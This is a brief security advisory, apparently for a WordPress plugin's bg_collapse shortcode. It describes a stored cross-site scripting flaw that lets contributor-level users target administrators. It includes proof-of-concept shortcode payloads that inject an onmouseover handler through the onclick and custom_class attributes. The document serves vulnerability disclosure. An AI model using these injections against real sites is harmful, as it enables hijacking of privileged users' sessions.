The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.
Proof of Concept
v < 1.3.0
[bg_collapse onclick="' onmouseover='alert(/XSS/)'"]
v < 1.2.6
[bg_collapse custom_class="' onmouseover='alert(/XSS/)'"]
Other affected attributes: color, inline_css, icon